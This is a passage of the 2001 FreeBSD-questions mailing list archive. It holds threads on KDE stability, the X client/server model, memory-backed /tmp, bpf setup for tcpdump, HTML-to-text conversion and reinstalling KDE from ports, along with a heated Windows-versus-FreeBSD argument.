(cc381552-a.slbch1.occa.home.com [24.16.80.251]) by hub.freebsd.org (Postfix) with ESMTP id EE07237B405 for ; Tue, 20 Nov 2001 14:15:39 -0800 (PST) Received: (from alex@localhost) by bsd.alexe.org (8.11.6/8.11.6) id fAKMIdE06798 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 14:18:39 -0800 (PST) (envelope-from alex) Date: Tue, 20 Nov 2001 14:18:21 -0800 From: Alex Obradovic To: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120141821.D6187@bsd.alexe.org> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <009001c171c4$e26a71c0$0a00000a@atkielski.com>; from owner-freebsd-questions@FreeBSD.ORG on Tue, Nov 20, 2001 at 02:11:19PM +0100 X-Editor: Vim http://www.vim.org/ X-Info: http://www.alexe.org X-Operating-System: FreeBSD/4.4-RC (i386) X-Uptime: 1:55PM up 1 day, 3:19, 5 users, load averages: 1.00, 1.02, 1.00 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > CompuServe CSNav-Win > CompuServe WinCIM > Adobe Acrobat (full version) > Adobe Acrobat Reader > Adobe Acrobat Distiller > Adobe Type Manager Deluxe > Adobe PageMaker > Adobe Illustrator > Adobe Photoshop > Adobe Streamline [snip] Wow. Did you pay for all of these? I counted $3000 in software and stopped. To be honest, I'd rather be productive with the tools I can afford. I definitely use many of the alternatives to the apps you listed -- in production mode! My KDE does not crash. I do not know if you are the same person who had KDE issues, but if so -- maybe your KDE (or X) is not properly installed. I have been using it for the past 8 months with no crashes whatsoever. Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:17: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 2D80C37B416 for ; Tue, 20 Nov 2001 14:16:56 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKMGop93306; Tue, 20 Nov 2001 23:16:50 +0100 (CET) Message-ID: <011201c17211$0d9b0c00$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ken Bolingbroke" Cc: "FreeBSD Questions" References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 23:16:44 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ken writes: > Face it, countless people use KDE. You're whining > about all these bugs, how it's not stable, etc. > Yet, all these other people, myself included, > are just using it. So you couldn't get it to > work... Hardware fault? Driver bugs? User > error? Take your pick. Okay, what did I do wrong? > Gee, thanks for calling me a liar. I haven't done that. > And you wonder why people aren't falling over > themselves to help you out of their own goodwill. Some of them are more worried about trying to defend their religion with personal attacks. > Take the current pain-in-the-rear application > I'm dealing with: Altiris LabExpert. It hangs > regularly, for which I fault Altiris, not Microsoft, > of course, but the big hassle is that W2K provides > me no way to completely kill it--even shutting down > the process from the Task Manager doesn't free > up the network port it listens on, so it's > necessary to reboot the server to restart the > application. Does the product run with system privileges, or did it require changes to system files to install? > Oh? And pray tell, what's your average uptime > on your NT system? I've seen them run for several years at a time. On my own systems, they usually ran for a few weeks at a time before I had occasion to shut off the machine. One of the servers in my office ran continously for a year or two, as I recall. I had to boot it when some disks went bad, as I recall. I usually booted servers periodically to change configurations or reinstall things, as only one of the systems was a production server. The ones that ran for years were in the computer center. > Those of us that aren't married to Microsoft > can use whatever _works_. As long as it doesn't come from Microsoft? There's no reasoning with religion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:22: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47]) by hub.freebsd.org (Postfix) with ESMTP id DF45D37B416 for ; Tue, 20 Nov 2001 14:22:02 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.152.134]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011120222200.JCTV692.mta07-svc.ntlworld.com@lungfish.ntlworld.com>; Tue, 20 Nov 2001 22:22:00 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAKMLwn02064; Tue, 20 Nov 2001 22:21:58 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id WAA05029; Tue, 20 Nov 2001 22:21:24 GMT (envelope-from scott) Date: Tue, 20 Nov 2001 22:21:24 +0000 From: Scott Mitchell To: Anthony Atkielski Cc: Paulius Bulotas , freebsd-questions@FreeBSD.ORG Subject: Re: installing minimal freebsd Message-ID: <20011120222124.B381@localhost> References: <20011120112209.GA98619@noname> <013e01c171b7$c66339b0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <013e01c171b7$c66339b0$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 12:37:39PM +0100 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 12:37:39PM +0100, Anthony Atkielski wrote: > I installed FreeBSD as whatever the default was supposed to be, and the > only things it set up were moused (because I have a mouse, I suppose), > httpd, indetd, syslogd, sendmail, cron, telnetd, and usbd (because there > is a USB interface on the machine, I presume), as I recall. All of the > processes put together use less than 0.3% of the machine. Compared to > the incredible truckload of junk that any Windows installation starts up > (especially NT/2000 installations), this was quite a breath of fresh air. Unless I'm very confused, there's no httpd of any kind in the default install. You must have installed the apache port (or some other web server). Sendmail, inetd and many other things can be enabled and disabled at install time (or later) from the Configuration->Networking and Configuration->Startup menus of sysinstall. Those services that aren't deemed worthy of a menu option can generally be disabled by a switch in /etc/rc.conf ('man rc.conf' for details). Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:24: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 4497037B405 for ; Tue, 20 Nov 2001 14:23:54 -0800 (PST) Received: (qmail 80011 invoked by uid 100); 20 Nov 2001 22:24:07 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.55303.226386.149612@guru.mired.org> Date: Tue, 20 Nov 2001 16:24:07 -0600 To: fergus Cc: questions@freebsd.org Subject: Re: md tmp In-Reply-To: <45258813@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG fergus types: > was thinking about setting tmp as a memory backed filesystem - seems > pretty standard but i couldn't find any FAQ on it. > > anyone running this ? ( guess that's pretty stupid question ) Yes, but I recommend using mfs instead of md. > but if so - how do you get tmp mounted early enough since i guess you > have to 'dd' the size at boot time to create it ? Not if you use mfs instead of md. For that, you just put the appropriate entry in /etc/fstab. > is there a standard way to do this or do i just have to write this into > rc scripts before anything that needs it ? There's no knob to set in rc.conf, if that's what you want. You can look at rc.diskless1 for one way of mounting it, and the md man page for a sequence to create it. > if so, anyone done it ? will 'rc.d' script & force mount over tmp do > the job ? or do we need to get in earlier ? It looks like everything should work fine if you put it in /etc/rc.local - except vi recovery files. You'll have to put it in /etc/rc if you need that to work. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:27:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 00A0F37B416 for ; Tue, 20 Nov 2001 14:27:23 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKMRKP94507; Tue, 20 Nov 2001 23:27:20 +0100 (CET) Message-ID: <011701c17212$8518b010$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Alex Obradovic" , References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> Subject: Re: home pc use Date: Tue, 20 Nov 2001 23:27:14 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alex writes: > Wow. Did you pay for all of these? I counted > $3000 in software and stopped. Yes, I purchased everything legitimately. I don't pirate software. I even bought NT, since the machine originally came with NT Workstation in French, and I wanted NT Server in English, so I had to buy it separately. > To be honest, I'd rather be productive with > the tools I can afford. You have to spend money to make money, and you don't make money with an evaluation version of Paint Shop Pro or WordPad. A single decent assignment can easily pay for a copy of Photoshop or PageMaker. > My KDE does not crash. I do not know if you > are the same person who had KDE issues, but > if so -- maybe your KDE (or X) is not properly > installed. Perhaps. I don't know if I installed it correctly or not. Is there a way to completely wipe all trace of KDE and reinstall? It seems to have created an incredible amount of junk in my home directory, and who-knows-where else. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:37:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id F419137B405 for ; Tue, 20 Nov 2001 14:37:24 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id OAA11084; Tue, 20 Nov 2001 14:37:23 -0800 Message-ID: <3BFADB22.7060701@owt.com> Date: Tue, 20 Nov 2001 14:37:22 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Alex Obradovic Cc: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alex Obradovic wrote: >>CompuServe CSNav-Win >>CompuServe WinCIM >>Adobe Acrobat (full version) >>Adobe Acrobat Reader >>Adobe Acrobat Distiller >>Adobe Type Manager Deluxe >>Adobe PageMaker >>Adobe Illustrator >>Adobe Photoshop >>Adobe Streamline >> > [snip] > > Wow. Did you pay for all of these? I counted $3000 in software and > stopped. Nah, Adobe is a good marketeer. You are always provided the opportunity to upgrade to another product for slightly more than update prices. It just takes time. I have the same software and I didn't even come close to your estimate. Kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:39:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id A733F37B416 for ; Tue, 20 Nov 2001 14:39:10 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id F3F872B77B; Tue, 20 Nov 2001 23:39:07 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id C1798FE; Wed, 21 Nov 2001 09:38:55 +1100 (EST) Date: Wed, 21 Nov 2001 09:38:55 +1100 From: Edwin Groothuis To: =?iso-8859-1?Q?G=F6ran_Asp?= Cc: "'questions@freebsd.org'" Subject: Re: bpf0 still not configured Message-ID: <20011121093855.B58388@k7.mavetju.org> References: <31A473DBB655D21180850008C71E251A02C66E4A@mail.kebne.se> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i In-Reply-To: <31A473DBB655D21180850008C71E251A02C66E4A@mail.kebne.se>; from goran.asp@hiq.se on Mon, Nov 19, 2001 at 03:42:53PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 03:42:53PM +0100, Göran Asp wrote: > Hi! > I wanna run tcpdump and get the message "/dev/bpf0 not configured". > I have followed the procedure described in "10.25 Why do I get /dev/bpf0: > Device not configured" at your FAQ-list and made a new kernel but I still > get the message. Did you do a "./MAKEDEV bpf" in /dev also? Or "./MAKEDV bpf0", I'm never sure about the syntax. Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:44:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id C2F5A37B416 for ; Tue, 20 Nov 2001 14:44:29 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166Jcw-0005Ju-00; Tue, 20 Nov 2001 22:44:26 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166JaD-000LPz-00; Tue, 20 Nov 2001 22:41:37 +0000 Date: Tue, 20 Nov 2001 22:41:37 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120224137.GA82211@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> <20011120200746.GA80963@rhadamanth> <00c101c17204$4070bb50$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00c101c17204$4070bb50$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 09:45:06PM +0100, Anthony Atkielski wrote: > Ceri writes: If you stopped snipping context so you could disregard my points then it might help your credibility. It certainly would with me. > > The X server runs on the workstation. > > If you are running the X server on your UNIX machine, the server and the > workstation are one and the same. No other computer is involved. That's not the situation you described though, is it? You said : `` I would not run any X server on a large system with many users connected; let the users gobble resources on their own workstations, not on the central system.'' If, however, you are running the X server on the same machine, then the server and workstation are one and the same. However, I think you are failing to realise that the X server and the workstation are always one and the same. Each user runs their own X server. I'll say it again, in case you still don't get it : The X server runs on the workstation. > Then again, I'm not sure where you'd run X servers in a multiuser > environment--where else is there besides the console? > > > The X server runs on the workstation. As in, each user runs their own X server on their own workstation, the machine that all the users they are logged into doesn't run an X server at all, it runs X clients. > If all these people running X Servers like KDE are not running them on the UNIX > machine itself from the console, where _are_ they running them, exactly? KDE isn't an X server, it's a window manager, and in the situation you describe above, it's the X client. Each user is running their own X server on their own workstation. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:45:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bsd.alexe.org (cc381552-a.slbch1.occa.home.com [24.16.80.251]) by hub.freebsd.org (Postfix) with ESMTP id 557BD37B419 for ; Tue, 20 Nov 2001 14:45:22 -0800 (PST) Received: (from alex@localhost) by bsd.alexe.org (8.11.6/8.11.6) id fAKMmQA06904 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 14:48:26 -0800 (PST) (envelope-from alex) Date: Tue, 20 Nov 2001 14:48:26 -0800 From: Alex Obradovic To: freebsd-questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120144826.F6187@bsd.alexe.org> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <011701c17212$8518b010$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <011701c17212$8518b010$0a00000a@atkielski.com>; from owner-freebsd-questions@FreeBSD.ORG on Tue, Nov 20, 2001 at 11:27:14PM +0100 X-Editor: Vim http://www.vim.org/ X-Info: http://www.alexe.org X-Operating-System: FreeBSD/4.4-RC (i386) X-Uptime: 2:37PM up 1 day, 4 hrs, 5 users, load averages: 1.01, 1.02, 1.00 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sure. I would go /var/db/pkg directory and uninstall all kde apps. In the past I have done the following (make sure you *really* want to do this) pkg_delete -f kde* Then cvsup and get the latest updates to the ports (if your ports are messed up, then delete /ports/x11 and let cvsup rebuild them) Then just cd into kde2 directory in your ports and do make and make install. Also I had issues in the past with KDE 1 apps. Sometimes when installing KDE 1 apps, they will install KDE1 as a dependency, and that may affect your KDE2 system. I stay away from KDE1 apps. Another issue can be with libpng - I think they switched to the new version recently, so check if you are getting libpng errors. This will not take muck of your time as the compiling can go unattended. This run for about 2 hours on my system, but it required only 15 minutes of my time to do the above commands. Alex * owner-freebsd-questions@FreeBSD.ORG (owner-freebsd-questions@FreeBSD.ORG) wrote: > Alex writes: > > > Wow. Did you pay for all of these? I counted > > $3000 in software and stopped. > > Yes, I purchased everything legitimately. I don't pirate software. I even > bought NT, since the machine originally came with NT Workstation in French, and > I wanted NT Server in English, so I had to buy it separately. > > > To be honest, I'd rather be productive with > > the tools I can afford. > > You have to spend money to make money, and you don't make money with an > evaluation version of Paint Shop Pro or WordPad. A single decent assignment can > easily pay for a copy of Photoshop or PageMaker. > > > My KDE does not crash. I do not know if you > > are the same person who had KDE issues, but > > if so -- maybe your KDE (or X) is not properly > > installed. > > Perhaps. I don't know if I installed it correctly or not. > > Is there a way to completely wipe all trace of KDE and reinstall? It seems to > have created an incredible amount of junk in my home directory, and > who-knows-where else. > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:46: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id 60CCC37B405 for ; Tue, 20 Nov 2001 14:46:01 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id D9EF92B77B; Tue, 20 Nov 2001 23:45:58 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 13920FE; Wed, 21 Nov 2001 09:45:53 +1100 (EST) Date: Wed, 21 Nov 2001 09:45:53 +1100 From: Edwin Groothuis To: Eugene Bartok Cc: freebsd-questions@freebsd.org Subject: Re: html to txt converter Message-ID: <20011121094553.C58388@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , Eugene Bartok , freebsd-questions@freebsd.org References: <20011118220150.A1181@metrotel.net.co> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011118220150.A1181@metrotel.net.co>; from ebartok@metrotel.net.co on Sun, Nov 18, 2001 at 10:01:50PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 18, 2001 at 10:01:50PM -0500, Eugene Bartok wrote: > hi, anyone a html to txt converter for fbsd? I'm using links for that, it's in the ports collection as www/links links -dump http://your.favourite.host/directory Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:49:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id BF81337B418 for ; Tue, 20 Nov 2001 14:49:31 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKMnSQ99413; Tue, 20 Nov 2001 23:49:28 +0100 (CET) Message-ID: <012201c17215$9c8ab420$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kent Stewart" , "Alex Obradovic" Cc: References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> <009001c171c4$e26a71c0$0a00000a@atkielski.com> <20011120141821.D6187@bsd.alexe.org> <3BFADB22.7060701@owt.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 23:49:21 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Actually, the listed products cost about $1900, if I remember correctly. You don't get upgrade prices if you haven't already bought the product before. ----- Original Message ----- From: "Kent Stewart" To: "Alex Obradovic" Cc: Sent: Tuesday, November 20, 2001 23:37 Subject: Re: home pc use > > > Alex Obradovic wrote: > > >>CompuServe CSNav-Win > >>CompuServe WinCIM > >>Adobe Acrobat (full version) > >>Adobe Acrobat Reader > >>Adobe Acrobat Distiller > >>Adobe Type Manager Deluxe > >>Adobe PageMaker > >>Adobe Illustrator > >>Adobe Photoshop > >>Adobe Streamline > >> > > [snip] > > > > Wow. Did you pay for all of these? I counted $3000 in software and > > stopped. > > > Nah, Adobe is a good marketeer. You are always provided the opportunity > to upgrade to another product for slightly more than update prices. It > just takes time. I have the same software and I didn't even come close > to your estimate. > > Kent > > -- > Kent Stewart > Richland, WA > > mailto:kbstew99@hotmail.com > http://users.owt.com/kstewart/index.html > FreeBSD News http://daily.daemonnews.org/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:51: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id ED2A537B417 for ; Tue, 20 Nov 2001 14:50:56 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166JjC-0005Qd-00; Tue, 20 Nov 2001 22:50:54 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166Jj1-000LQx-00; Tue, 20 Nov 2001 22:50:43 +0000 Date: Tue, 20 Nov 2001 22:50:43 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120225043.GC82211@rhadamanth> References: <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> <20011120201935.GB80963@rhadamanth> <00c801c17205$1175f2b0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00c801c17205$1175f2b0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 09:50:57PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > I refute your assumption that a system that > > doesn't run Windows applications is useless. > > If you can get by without any Windows applications, your refutation is valid. > But most people need to run at least a few Windows applications, unless they > have Macs (which have a large enough choice of applications to avoid Windows > entirely and still get lots of things done). Yet another assumption. I personally don't _need_ any Windows applications at all. I do keep a Windows system in the house so I can play Giants, and I do like using Free Agent to read news, but I run that under Wine on FreeBSD. > > There you go again. > > Window Managers Do Not Run Applications. > > All you need is an X server to run Netscape. > > Maybe I'm confused. How do you run an X server or an application within it > without a window manager? It's easy. I believe it was Kris who pointed out how to do it somewhere else in this thread. All you lose is the ability to resize and move the window. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 14:51:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id C5A2937B405 for ; Tue, 20 Nov 2001 14:50:56 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 90BF5786E1; Wed, 21 Nov 2001 09:20:52 +1030 (CST) Date: Wed, 21 Nov 2001 09:20:52 +1030 From: Greg Lehey To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011121092052.J76318@monorchid.lemis.com> References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> <007f01c17164$a3284c40$0a00000a@atkielski.com> <20011120121857.O76318@monorchid.lemis.com> <00a801c171a9$c5a8f2c0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00a801c171a9$c5a8f2c0$0a00000a@atkielski.com> User-Agent: 